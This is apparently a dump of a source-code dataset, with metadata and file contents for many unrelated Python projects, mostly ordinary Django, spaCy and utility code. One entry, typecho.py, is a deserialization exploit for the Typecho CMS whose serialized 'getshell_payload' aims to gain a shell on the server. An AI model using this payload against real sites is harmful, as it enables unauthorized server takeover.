blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 281 | content_id stringlengths 40 40 | detected_licenses listlengths 0 57 | license_type stringclasses 2
values | repo_name stringlengths 6 116 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 313
values | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 18.2k 668M ⌀ | star_events_count int64 0 102k | fork_events_count int64 0 38.2k | gha_license_id stringclasses 17
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 107
values | src_encoding stringclasses 20
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 4 6.02M | extension stringclasses 78
values | content stringlengths 2 6.02M | authors listlengths 1 1 | author stringlengths 0 175 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
8fae8897b293936e087a025c2718aa8bede084a3 | c87ba12b608a9c21159619c1c0ad912c6b7a7aab | /LIMS_v0_4_0/LIMS/sequence/migrations/0024_auto_20190904_1700.py | baaf6ffb902ac75456b2dc60ade2f64aabb90d0f | [] | no_license | bcurrall/LIMS | e653df4512f1ce9e90347d646a673e163c1a0215 | c20ea34a5779f94bec5daf9cd690e09461cff600 | refs/heads/master | 2023-04-29T09:04:34.586063 | 2020-06-26T14:27:22 | 2020-06-26T14:27:22 | 81,500,605 | 1 | 0 | null | 2023-04-18T05:00:12 | 2017-02-09T22:18:27 | Tcl | UTF-8 | Python | false | false | 590 | py | # Generated by Django 2.1.5 on 2019-09-04 21:00
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('sequence', '0023_auto_20190904_1647'),
]
operations = [
migrations.AddField(
model_name='wusresult',
name='broad_id'... | [
"benjamincurrall@gmail.com"
] | benjamincurrall@gmail.com |
f38f9cc79e4c4faa3ac11b50a8d5f3ada626a147 | 800ef1daad97cda771d5c81edeb4fef740f4e895 | /rensapi/principal/urls.py | a4c558130215b7c0f823625e1fd65a0cf7d4c85a | [] | no_license | njeririziki/newapi | 0a9ad1dc5a2a727bb94986474d86cc7a01e2c990 | ed6f4d8e89292e2bb27aaa4dd78633af34f88bdd | refs/heads/master | 2023-08-14T01:41:06.701714 | 2021-10-15T13:34:53 | 2021-10-15T13:34:53 | 417,035,582 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 321 | py | from django.urls import path, include
from rest_framework import routers
from .views import PrincipalViewSet, DependantsViewSet
router = routers.DefaultRouter()
router.register(r'principal', PrincipalViewSet)
router.register(r'dependants', DependantsViewSet)
urlpatterns = [
path('', include(router.urls))
... | [
"rizikinjeri@gmail.com"
] | rizikinjeri@gmail.com |
17d1c738db55bae66c6a4d5de9c4eba73342fbbb | fbd4eec5abee4bd95a0bcb20a34b6d17c436f86b | /main.py | 8bb040c7f3ae8d35ac5540102f9942fa0b21e3b4 | [] | no_license | GiansCode/eco-updater | 471c44c0c01d433085b81e0aa0562c905cce5498 | 9e2a5e062b11148037718b45ff6d4f6bed69733a | refs/heads/master | 2023-06-08T20:50:14.409309 | 2021-07-01T14:31:47 | 2021-07-01T14:31:47 | 378,236,153 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 63 | py | import updater
if __name__ == '__main__':
updater.run()
| [
"contactgabytm@gmail.com"
] | contactgabytm@gmail.com |
0dcc64796323df4c8e6c35ab4999e9a3451b9728 | 2e4702dbfbce36e8fa15ade41fc90c65df6470ef | /ip-whois.py | 7625ed15cb60b256d13d06286fa28742f5530a35 | [] | no_license | jacksctsai/tw3gsucks | 3173dc9b04501c2fc555af0c20f161db360894c2 | 5061874239443173fa5be2c1d68ad8d190ed7673 | refs/heads/master | 2016-09-02T04:26:30.853040 | 2011-11-26T04:06:48 | 2011-11-26T04:06:48 | 2,227,055 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,640 | py | #!/usr/bin/env python
# Forwarded version from thomasfischer.biz!!!
#
import os, sys, string, time, getopt, socket, select, re, errno, copy, signal
def queryWhois(query, server='whois.ripe.net'):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while 1:
try:
s.connect((server, ... | [
"jacksctsai@gmail.com"
] | jacksctsai@gmail.com |
a556e3a59fe391c822d7b9dd76c498d07c873447 | 0f528552b0aca30ea3044a03cb054b91e8b9496d | /grid_dock.py | fef3015f86d9c4c780787b0a9755238d6197b3f2 | [] | no_license | mwgiesbrecht/ArkGrid | 40ce70bdfafa841fe902efc8faaae2b23e855ef3 | e7a4fe44c10a2fff93e5a5949bec184fa73e210e | refs/heads/master | 2021-01-17T05:16:04.628566 | 2016-07-29T16:24:47 | 2016-07-29T16:24:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,577 | py | # -*- coding: utf-8 -*-
"""
/***************************************************************************
ARK Spatial
A QGIS plugin for Archaeological Recording.
Part of the Archaeological Recording Kit by L-P : Archaeology
http://ark.lp... | [
"john@layt.net"
] | john@layt.net |
c58a8afc446a3bb88402eed46b4f97735d087e6a | 11c1c2bb3efdb1ed7c818ce690c37d1acc99a64d | /cargo/dock.py | a5e14d978f13a5389db9de64e4bdcb3278bf45e3 | [
"MIT"
] | permissive | mvanveen/cargo | 7d9d73180a3a73d0fe2e55e868fa0d29d28c8705 | 2e392a02c7168bf99af9bfb2e41969d57dbec096 | refs/heads/master | 2018-12-29T02:59:49.378124 | 2014-05-06T04:17:25 | 2014-05-06T04:17:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,845 | py | import docker
from cargo.container import Container
from cargo.image import Image
# this is a hack to get `__getattribute__` working for a few reserved properties
RESERVED_METHODS = ['containers', '_client', 'images', 'info', 'start', 'stop']
class Dock(object):
"""Wrapper class for `docker-py` Client instances"""... | [
"michael@mvanveen.net"
] | michael@mvanveen.net |
1d80804d4bcb0e3c8a7cdf61c6307befbf7776f5 | 5e2dddce9c67d5b54d203776acd38d425dbd3398 | /spacy/lang/nb/morph_rules.py | b2b906d9c4c1a8abd46022edd60fe2f0dd83d47a | [
"MIT"
] | permissive | yuxuan2015/spacy_zh_model | 8164a608b825844e9c58d946dcc8698853075e37 | e89e00497ab3dad0dd034933e25bc2c3f7888737 | refs/heads/master | 2020-05-15T11:07:52.906139 | 2019-08-27T08:28:11 | 2019-08-27T08:28:11 | 182,213,671 | 1 | 0 | null | 2019-04-19T06:27:18 | 2019-04-19T06:27:17 | null | UTF-8 | Python | false | false | 19,452 | py | # encoding: utf8
from __future__ import unicode_literals
from ...symbols import LEMMA, PRON_LEMMA
"""
This dict includes all the PRON and DET tag combinations found in the
dataset developed by Schibsted, Nasjonalbiblioteket and LTG (to be published
autumn 2018) and the rarely used polite form.
"""
MORP... | [
"yuxuan2015@example.com"
] | yuxuan2015@example.com |
c72b48a9ab714fdd1c3751bdc762b71fe0395bae | 3c8856746c2da97abb50571a1883f8da07707633 | /core/tests/mediawikiversion_tests.py | f6a2185faece910080a9ef0488f196cb415650c1 | [
"MIT"
] | permissive | Tillsa/pywikibot_test_wikidata | 5bb7630c53e04a96f4da352921a55037e80c1c28 | c4b9a1618a5e618305f3abdd359a40f01b14fd90 | refs/heads/master | 2021-01-01T05:24:08.575795 | 2016-04-11T16:01:54 | 2016-04-11T16:01:54 | 55,986,811 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,771 | py | # -*- coding: utf-8 -*-
"""Tests for the tools.MediaWikiVersion class."""
#
# (C) Pywikibot team, 2008-2014
#
# Distributed under the terms of the MIT license.
#
from __future__ import absolute_import, unicode_literals
__version__ = '$Id: c6c3f608d44eb5cd10f06136b4aed6f1c2d1e5a4 $'
from pywikibot.tools import Media... | [
"till.sauerwein@web.de"
] | till.sauerwein@web.de |
083e0c9ba37f470168cfb2b94abe6b7c752bb581 | 9a359c89cc49a16aa39df6afd68885b4e6216e3a | /dep_1/patch.py | 1faeb9685d784d6254d0791d8b5ba96510b8609d | [] | no_license | emiltan97/pmvs-python | 5f2dde32770def06820ea00645f13b9f4ceb7b87 | 772bccb7da162ec4d17f2ea25bbebc76109f2cef | refs/heads/main | 2023-04-22T09:40:07.446645 | 2021-04-29T15:16:01 | 2021-04-29T15:16:01 | 349,624,702 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,302 | py | class Patch :
# Default Constructor
def __init__(self, centre, normal, referenceImage) :
self.centre = centre
self.normal = normal
self.referenceImage = referenceImage
# self.topLeft = topLeft
# self.bottomRight ... | [
"emiltan97@hotmail.com"
] | emiltan97@hotmail.com |
daccb64ba2b2f334b40c584d7150c249c0e73461 | 32feef3b5283f4867b8ce603654f4cad791decad | /Python绝技(Violent Python)/命令执行/反序列化漏洞EXP/typecho.py | 18fa17284a097bbade7e9207fd1ac62cff0b2b0c | [] | no_license | owenie/Penetration-Testing | 10f17724d4ec954d85cdbaf4d90d6b67095874f2 | a45b19869e99ec731db9ad33699f13feb2bf7b2d | refs/heads/master | 2020-03-24T16:48:40.054843 | 2019-01-03T02:31:11 | 2019-01-03T02:31:11 | 142,837,726 | 2 | 2 | null | null | null | null | UTF-8 | Python | false | false | 1,808 | py | #! /usr/bin/env python
#! -*-coding:utf-8 -*-
import requests
import base64
import urllib.parse
import sys
getshell_payload = b"""\
a:2:{\
s:7:"adapter";\
O:12:"Typecho_Feed":3:{\
s:19:"\x00Typecho_Feed\x00_type";\
s:8:"ATOM 1.0";\
s:20:"\x00Typecho_Feed\x00_items";\
a:1:{\
i:0;\
a:1:{s:6:"author";\
O:15:"Typecho_Requ... | [
"wudong3321@163.com"
] | wudong3321@163.com |
68ca1ed8ae7d78c949702a6898dced089513f178 | 22279487bee5c983c13887ba11e6a4cd40e8bbe3 | /PreprocessData/all_class_files/BusinessAudience.py | 1d69ab09dfb0c3faa6591e9d1545d3de3d294f62 | [
"MIT"
] | permissive | DylanNEU/Schema | 018c9f683c683068422ed7b6392dcebd4ab4d4cd | 4854720a15894dd814691a55e03329ecbbb6f558 | refs/heads/main | 2023-08-30T01:50:20.541634 | 2021-11-01T15:30:41 | 2021-11-01T15:30:41 | 425,238,713 | 1 | 0 | MIT | 2021-11-06T12:29:12 | 2021-11-06T12:29:11 | null | UTF-8 | Python | false | false | 1,767 | py | from PreprocessData.all_class_files.Audience import Audience
import global_data
class BusinessAudience(Audience):
def __init__(self, additionalType=None, alternateName=None, description=None, disambiguatingDescription=None, identifier=None, image=None, mainEntityOfPage=None, name=None, potentialAction=None, ... | [
"2213958880@qq.com"
] | 2213958880@qq.com |
a616261dfed4580e168036353ea563e297586ffc | 7f7fd43bee5182c265312c7360f2e904f7c15493 | /weasel/datamodules/base_datamodule.py | 3018817e5429087257179777e395b26ecee86106 | [
"Apache-2.0"
] | permissive | techthiyanes/weasel | 87859a15094ecafdb478158b17ee1b30fdb322d1 | a6eef433e428b6ef27df5b8783770c1b7ace7a93 | refs/heads/main | 2023-08-29T03:59:53.190531 | 2021-11-09T14:42:40 | 2021-11-09T14:42:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,978 | py | import logging
from typing import Optional, Tuple, Callable, Union
import numpy as np
import torch
from torch.utils.data import DataLoader, random_split
from pytorch_lightning import LightningDataModule
from weasel.datamodules.dataset_classes import BasicWeaselDataset, BasicDownstreamDataset, \
AbstractDownstream... | [
"salvaruehling@gmail.com"
] | salvaruehling@gmail.com |
3aecd39816b7fb5b36c3c321b5401f91e5ac4c2d | cfbaa8ee313b0809064896b8112d99916207945f | /valid-palindrome/valid-palindrome.py | 79a0ad480cdcd9c9c813fe2ed009079b1db8d404 | [] | no_license | MahnazBehroozi/LeetCode | b8183ab1c79ed3345c60944157b028bc19a52bcf | 734a386c80c79fec7a51c997feb0930973d08c24 | refs/heads/main | 2023-02-23T03:45:14.172117 | 2021-01-21T03:18:00 | 2021-01-21T03:18:00 | 330,444,614 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 208 | py | class Solution:
def isPalindrome(self, s: str) -> bool:
s = ''.join(l for l in s.lower() if l.isalnum())
if(s == s[::-1]):
return True
return False
| [
"mbehroo@ncsu.edu"
] | mbehroo@ncsu.edu |
e028ad84a94acea87c071f6414fc4be513d4ef0f | 531dd4b9bad55d839235cf06fc02015038b49a0a | /__init__.py | cef9eeb65463041a682aa2119ab00e389174c169 | [] | no_license | neoformit/rps-blast | c8eef4515eca2236c14a175d5ab7172f047bca8f | b82f7ca27d65b82bf801ee1cf2a36f5fbc269515 | refs/heads/master | 2022-01-25T00:51:04.288580 | 2019-07-10T03:12:12 | 2019-07-10T03:12:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 50 | py | # Module to run RPS-BLAST over an entire proteome
| [
"ubuntu@data-import-pipeline.novalocal"
] | ubuntu@data-import-pipeline.novalocal |
b35e73dee57fca877024ae05478d563acb88d30f | 7b498e0a67e50634bcd516ca104bf018675b245e | /NZChat/NZSettings.py | 86c3d8e149c89558306438df476190e5abf53bed | [
"MIT"
] | permissive | oxnz/NZChat | 84d22204a77ceb94150b28769ac9346b953b1575 | 8372bacceae97f309ecd35cf45bb21c88fd25b1a | refs/heads/master | 2016-09-06T15:19:43.560376 | 2014-08-17T04:11:53 | 2014-08-17T04:11:53 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 194 | py | from PyQt4.QtCore import *
from PyQt4.QtGui import *
class NZSettings(QWidget):
def __init__(self, parent):
super(NZSettings, self).__init__(parent)
#self.account.nickname = QString('me')
| [
"yunxinyi@gmail.com"
] | yunxinyi@gmail.com |
ed147edb4ce4c47b60610a2bfdae4e50ca2339bc | 4def30f95628dfb30764287c107a811789e8ac1e | /python_programming/basics/grades_statistics.py | ebc1fe379dcb22a36219256c58eacd9e63cf9e34 | [] | no_license | cherrera20/MLpython | cafc9ef783589b6040fde1a18490ca4fe1c340f3 | 19f09a39f958ed8e76d4704378de0d3bf674f7ea | refs/heads/master | 2021-01-10T18:08:02.100979 | 2016-12-16T13:51:32 | 2016-12-16T13:51:32 | 71,915,317 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 814 | py | grades = [100, 100, 90, 40, 80, 100, 85, 70, 90, 65, 90, 85, 50.5]
def print_grades(grades):
for grade in grades:
print grade
def grades_sum(grades):
total = 0
for grade in grades:
total += grade
return total
def grades_average(grades):
sum_of_grades = grades_sum(grades)
... | [
"chrishj20@hotmail.com"
] | chrishj20@hotmail.com |
bbdda6aacf667e90fbd3b841f6616ae06fed7d76 | 27154f946961f52fcf8559e6a741002ea6349873 | /separate_users.py | acabd1cd11578ef1842d655502308c57e82b5750 | [] | no_license | paurullan/information_retrieval-twitter | 6a5ed85ff4d9febe445367a97e59e50ad10a18e7 | 28e5be83e8ef619a5353baee053ba9b34301bf4b | refs/heads/master | 2021-01-20T12:13:05.590323 | 2012-07-13T12:44:04 | 2012-07-13T12:44:04 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 956 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
import gzip
def extract(user):
"""Returns the id, name from the json data"""
j_form = json.loads(user)
twitter_id, screen_name = j_form['id'], j_form['screen_name']
return twitter_id, screen_name
def extract_users_from_files(data_filename, sa... | [
"paurullan@gmail.com"
] | paurullan@gmail.com |
059ec61514993ac8c9cc6eb807b159dd4ea44fde | 6656d7e426c85ff977a2619f6a52981456ada9fe | /14_Miscellaneous/1.py | 6d605fde6ab242bd2be0c608aa7a0878ee61c624 | [
"MIT"
] | permissive | abphilip-codes/Hackerrank_Interview | 4f37e12f1ab47042db88947bb3a31aed6486b54d | b40981ef55d04fb14d81a6e1c9ade1878f59394d | refs/heads/master | 2023-08-02T22:00:37.298224 | 2021-10-02T11:59:08 | 2021-10-02T11:59:08 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 594 | py | # https://www.hackerrank.com/challenges/flipping-bits/problem
#!/bin/python3
import math
import os
import random
import re
import sys
#
# Complete the 'flippingBits' function below.
#
# The function is expected to return a LONG_INTEGER.
# The function accepts LONG_INTEGER n as parameter.
#
def flippingBits(n): retu... | [
"allenalvin333@gmail.com"
] | allenalvin333@gmail.com |
52f0cbbc67ed8ce99700dbeab99cb58a07941358 | bede0bbf055a7cffc62808cd6ee4654c02e2a2c4 | /PlotConfiguration/ISR/2016/unfolding/unfolding_input/nuisances_muon.py | 5957ef552ada88a3fcb44bd2ff3c658455907e76 | [] | no_license | bhoh/MultiUniv | ec4d94180971542d8c4d69726c4e26a3f90596ef | 1105e8203ce650457bb9cbfb985a90323845c8b0 | refs/heads/master | 2020-04-24T07:33:41.915446 | 2020-02-13T10:13:40 | 2020-02-13T10:13:40 | 171,802,629 | 0 | 0 | null | 2019-06-03T06:49:59 | 2019-02-21T04:54:20 | C | UTF-8 | Python | false | false | 5,245 | py | #nuisances['lumi'] = {
# 'name' : 'lumi_13TeV',
# 'samples' : {
# 'DY' : '1.023',
# }
# 'type' : 'lnN',
# }
########## Efficiency and Energy Scale
trg_syst = ['muon_double_trigSFUp_DoubleMuon_POGTightWithTightIso/muon_double_trigSF_DoubleMuon_POGTightWithTightIso', 'muon_double_trigSFDn_DoubleMuo... | [
"jhkim@cern.ch"
] | jhkim@cern.ch |
2980213abb11be3d694cd36ddb2c3cdb49f93d51 | bcbc427778fed38ad2197c41d15b8d1634b11750 | /scraping_program/deathrow.py | a7075d749fa86223026239bcf5fdd3ba201b9929 | [] | no_license | ceostroff/deathrow-flask-filtered | e33d3e1d92819694e51b1e7d8d624f75e5899562 | fe72309b87b9b9235710adf8f91bf60862d34a1a | refs/heads/master | 2020-12-30T12:11:16.665267 | 2017-10-12T13:30:22 | 2017-10-12T13:30:22 | 91,409,456 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,073 | py | from urllib.request import urlopen
from bs4 import BeautifulSoup
import re
import time
import csv
def openLinks(pageVals):
html = urlopen("http://www.dc.state.fl.us/activeinmates/deathrowroster.asp")
bsObj = BeautifulSoup(html, "html5lib")
# final regex string returns all links that start with /wiki/ and aft... | [
"caitlinostroff@caitlins-air.attlocal.net"
] | caitlinostroff@caitlins-air.attlocal.net |
cff20b27b54ec27b951740ce6a2878fad2e492f4 | 9994ceceed154e3b07f3b4f9881d83af7fcea876 | /extractF_by_tar.py | 3420053fed2f9084e76ee922199ec7ce417044a7 | [] | no_license | rahuldave/time-series-feats | 7c908ec24c7799c69a530e940d247c454bc12a2a | c91fdeb7795faf4eb06bc7340f659f4dc00cd153 | refs/heads/master | 2021-01-21T09:34:24.154469 | 2014-11-24T19:46:47 | 2014-11-24T19:46:47 | 27,090,036 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,926 | py | #!/usr/bin/env python
from Feature import FeatureSpace
import numpy as np
from import_lc_cluster import LeerLC_MACHO
from PreprocessLC import Preprocess_LC
from alignLC import Align_LC
import os.path
import tarfile
import sys
import pandas as pd
import warnings
warnings.filterwarnings('ignore')
#for subdir in /n/seas... | [
"isadoranun@gmail.com"
] | isadoranun@gmail.com |
b7e38ea1d6557fd648c3197538df167ad1fde135 | eb8d52f9c3deda51872b75d38f44cc48937e020a | /Bokeh - Graph.py | 94efeebb10a2190b3f9223fee570cc403d4d6221 | [] | no_license | ChrisKCarr/Bokeh-Graphs | 6cdec6a4ae9f6862004d8103856fd41636dd9bdb | f7f57d1d4ddb313a0d394d488b7918a8c6baf27e | refs/heads/master | 2020-04-05T00:54:42.262719 | 2018-11-25T22:49:03 | 2018-11-25T22:49:03 | 156,415,436 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 522 | py |
# coding: utf-8
# In[ ]:
#Plotting percentage of women who received an engineering degree over years
#importing bokeh and pandas
from bokeh.plotting import figure
from bokeh.io import output_file, show
import pandas
#prepare some data
df=pandas.read_csv("http://pythonhow.com/data/bachelors.csv")
x=df["Year"]
y=... | [
"noreply@github.com"
] | noreply@github.com |
0555b49142a9abce0a36cf3ef3dff9a6fe92f212 | a1d8b5de6a54dc942f63e2e4a946db174cae0996 | /surrounded-regions/test_surrounded_regions.py | a02121483a4fa1c4083ad57773d889d429b5e059 | [
"MIT"
] | permissive | joaojunior/hackerrank | 5dae64166b6fdbec8b7bd2112443fdfde0e64e74 | a5ee0449e791535930b8659dfb7dddcf9e1237de | refs/heads/master | 2021-11-22T07:53:33.978238 | 2021-09-28T00:35:16 | 2021-09-28T00:35:16 | 116,694,043 | 0 | 1 | MIT | 2018-02-21T00:29:09 | 2018-01-08T15:29:26 | Python | UTF-8 | Python | false | false | 650 | py | from surrounded_regions import Solution
def test_example_1():
board = [
["X", "X", "X", "X"],
["X", "O", "O", "X"],
["X", "X", "O", "X"],
["X", "O", "X", "X"]
]
expected = [
["X", "X", "X", "X"],
["X", "X", "X", "X"],
["X", "X", "X", "X"],
["... | [
"joao.junior@shopify.com"
] | joao.junior@shopify.com |
df01691f4c8c61bc2156ceac3698c415e38479f1 | beb800a14f6f5a30850829ba88ad15086d383cee | /core/covidai/celery.py | a351f355617e6c26cfdc14d20b0cc643442afeff | [] | no_license | omidroshani/django-celery-rabbitmq | c42fbbc7f42abb54fcb3814ebbccdc27243c53ba | 89d7901b2c94491a57c61b2ec6a6b0da6392a5c4 | refs/heads/main | 2023-06-03T20:22:41.672002 | 2021-06-18T13:18:27 | 2021-06-18T13:18:27 | 378,155,212 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 651 | py | import os
from celery import Celery
# set the default Django settings module for the 'celery' program.
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'covidai.settings')
app = Celery('covidai')
# Using a string here means the worker doesn't have to serialize
# the configuration object to child processes.
# - names... | [
"omid.roshani@outlook.com"
] | omid.roshani@outlook.com |
7e0aa28285ba438316ad98346be84be13fe13235 | cc6e1a3d2ee686cede32841993954db7df9590ac | /wrapper_wmap_v4p1/waf_tools/any_lapack.py | d087317d5d519ca34170ea39d5cff747b3d9cb00 | [
"MIT"
] | permissive | brinckmann/montepython_public | aea5a2a7778c5fdbbe9b64109589ae8fe3ec5aff | d3e2c72e5d87bf32c5bbf3c772a54db7e1f499a8 | refs/heads/3.6 | 2023-08-10T03:36:32.071595 | 2023-06-01T10:29:00 | 2023-06-01T10:29:00 | 130,180,753 | 96 | 100 | MIT | 2023-07-31T21:15:22 | 2018-04-19T08:05:19 | Python | UTF-8 | Python | false | false | 13,767 | py | #try to support many flavours of lapack
import autoinstall_lib as atl
from waflib import Logs
import os.path as osp
from waflib import Logs
from waflib import Context
from waflib import Errors
import sys
import waflib
version = "lapack-3.3.1"
tool = "lapack-3.3.1"
lapack_funcs = "dtrsv dpotrf dpotrs dpotri dtrtri dtr... | [
"fkoehlin@strw.leidenuniv.nl"
] | fkoehlin@strw.leidenuniv.nl |
989bef1d3880a8bc72485b6f841256bd91becf34 | e2c6dac8e227ceb9a2c1fb1fa90f9de94767296c | /sdk/network/azure-mgmt-dns/azure/mgmt/dns/v2018_05_01/aio/_configuration.py | c7393ce84be360deb23c4d619f584db555f04f57 | [
"MIT",
"LicenseRef-scancode-generic-cla",
"LGPL-2.1-or-later"
] | permissive | klawrawkz/azure-sdk-for-python | 1168f5e1c1c9003a7f1ec2700238d4aee09429f8 | d7749f4d49fda8c35a5206a9656ff81378caa7d4 | refs/heads/master | 2021-07-08T18:33:06.034717 | 2021-04-13T20:22:57 | 2021-04-13T20:22:57 | 242,035,648 | 0 | 0 | MIT | 2021-04-13T20:23:04 | 2020-02-21T02:18:36 | null | UTF-8 | Python | false | false | 3,248 | py | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... | [
"noreply@github.com"
] | noreply@github.com |
332dc5c30de3c41389d9897f2e87bc685c839a42 | 4ef5fae0d55cab4eccbf6bbb82c0d57b02cc100a | /virt/lib/python3.6/posixpath.py | e1e8b13e32f0d2ecb605f9b3fcc3990e2b0f05c4 | [] | no_license | jristow/CapstoneServiceLayer | 1dfddfc294bb4c0f270c8573b32a5a5fb044c6cc | d3876d679e1ff63c444f6e56e8ef95c8231d0b91 | refs/heads/master | 2020-04-10T14:37:47.533205 | 2019-05-08T13:48:31 | 2019-05-08T13:48:31 | 161,082,414 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 50 | py | /Users/jordan/anaconda3/lib/python3.6/posixpath.py | [
"jristow@gmail.com"
] | jristow@gmail.com |
65fa18f14f9c38a6a56da56ca671eaf719578587 | 52b5773617a1b972a905de4d692540d26ff74926 | /.history/compareVersions_20200909134459.py | f931ca7d437ba6dcc15d17e76c8b91aeb128789e | [] | no_license | MaryanneNjeri/pythonModules | 56f54bf098ae58ea069bf33f11ae94fa8eedcabc | f4e56b1e4dda2349267af634a46f6b9df6686020 | refs/heads/master | 2022-12-16T02:59:19.896129 | 2020-09-11T12:05:22 | 2020-09-11T12:05:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 755 | py | def compare(version1,version2):
# split where there are ,
# then loop through both of them
# if v1 > v2 return 1
# if v1 < v2 return -1
# otherwise return 0
v1 = [int(i) for i in version1.split(".")]
v2= [int(i) for i in version2.split(".")]
# if len(v1) > len(v2):
# whil... | [
"mary.jereh@gmail.com"
] | mary.jereh@gmail.com |
bfc1cb8fc68f40887ac4c4db66cfe3d73bc5f6da | 0d8d794d06827aea3ad460bd7ffc58a63911b21d | /Python/Piling Up!.py | 00ad5a646dd183016adf6b9a008d015313180e08 | [] | no_license | IamOmaR22/HackerRank-Problems-Solve-and-Programs-Practice-with-Python | fe1f70d2f791d15636f7a55419fd006bd952f4f5 | c3057bd92c75c771877f9f469361a063b8db0915 | refs/heads/master | 2023-02-22T05:21:35.292396 | 2021-01-25T11:43:05 | 2021-01-25T11:43:05 | 263,082,392 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 478 | py | # Enter your code here. Read input from STDIN. Print output to STDOUT
if __name__ in '__main__':
t = int(input())
for i in range(0, t):
n = int(input())
lst = list(map(int, input().split()))
min_index = lst.index(min(lst))
left = lst[ : min_index]
right = lst[min_index : ... | [
"iamomar022@gmail.com"
] | iamomar022@gmail.com |
74fe98ec1b1d95ae754d5a902ac8c47dc1742d5a | 949c1502b9e91f7e02ce2afae1dde0f689ab8afd | /src/plone/jsonapi/browser/interfaces.py | 623f6c11e6b5df8ddf41f36358cf6a26dfa22bd7 | [] | no_license | seletz/plone.jsonapi | bb42ff08543be98f81e2fc81c9fb0453f9e67596 | 068ef4445c22e05308c4c50b3ab78f5931ccc412 | refs/heads/master | 2020-04-03T08:02:13.441212 | 2013-06-17T14:40:42 | 2013-06-17T14:40:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 341 | py | # -*- coding: utf-8 -*-
#
# File: interfaces.py
__author__ = 'Ramon Bartl <ramon.bartl@googlemail.com>'
__docformat__ = 'plaintext'
from zope import interface
class IPloneJSONAPI(interface.Interface):
""" API View
"""
class IInfo(interface.Interface):
""" Info Interface
"""
# vim: set ft=python t... | [
"ramon_bartl@yahoo.de"
] | ramon_bartl@yahoo.de |
c29a7c129fa2c5b3fb483c23c92e7c5c73803b09 | 8daa76e30a99056306335d914d7fcb40fc736b73 | /lpthw/ex39.py | 6a82ba6e3733f89b9ef92371aceaf5592824b22d | [
"MIT"
] | permissive | xia0nan/learn-python-the-hard-way | 01722823b527cdf384fb778f67aaf926d2134718 | 3ff28549c847f8fe292d6cf4d0ee21a6227ae072 | refs/heads/master | 2021-04-03T01:43:55.468745 | 2018-03-21T06:37:39 | 2018-03-21T06:37:39 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,202 | py | states = {
'Oregon': 'OR',
'Florida': 'FL',
'California': 'CA',
'New York': 'NY',
'Michigan': 'MI'
}
cities = {
'CA': 'San Francisco',
'MI': 'Detroit',
'FL': 'Jacksonville'
}
cities['NY'] = 'New York'
cities['OR'] = 'Portland'
print '-' * 10
print "NY State has: ", cities['NY']
print ... | [
"xnone0104@gmail.com"
] | xnone0104@gmail.com |
6ae0c683f2f431ac46ead2b62106f95b3dc5e8d8 | 0a46b027e8e610b8784cb35dbad8dd07914573a8 | /scripts/venv/lib/python2.7/site-packages/cogent/data/molecular_weight.py | 2f10556a9b24528be62ac1cd7c12065b83fd9cf0 | [
"MIT"
] | permissive | sauloal/cnidaria | bb492fb90a0948751789938d9ec64677052073c3 | fe6f8c8dfed86d39c80f2804a753c05bb2e485b4 | refs/heads/master | 2021-01-17T13:43:17.307182 | 2016-10-05T14:14:46 | 2016-10-05T14:14:46 | 33,726,643 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,884 | py | #!/usr/bin/env Python
"""Data for molecular weight calculations on proteins and nucleotides."""
__author__ = "Rob Knight"
__copyright__ = "Copyright 2007-2012, The Cogent Project"
__credits__ = ["Rob Knight"]
__license__ = "GPL"
__version__ = "1.5.3"
__maintainer__ = "Rob Knight"
__email__ = "rob@spot.colorado.edu"
__... | [
"sauloal@gmail.com"
] | sauloal@gmail.com |
0ccc651bb5faebcb8a57fbc6a17b6476ed21a236 | b28d13b2e785398f1a8074e0034080539009c837 | /django-rest-routers/snippets/urls.py | f9fbae66282440d82cee06df73164e9686a966eb | [] | no_license | sdugaro/django | c58f1c290a1cadf90d723083c1bceefbbac99073 | 1704f1796cb3f25cac260c6120becd70e9f1c33f | refs/heads/main | 2023-02-06T22:06:41.872202 | 2020-12-27T09:04:12 | 2020-12-27T09:04:12 | 311,162,303 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 799 | py | from django.urls import path, include
from snippets import views
from rest_framework.routers import DefaultRouter
#from rest_framework.urlpatterns import format_suffix_patterns
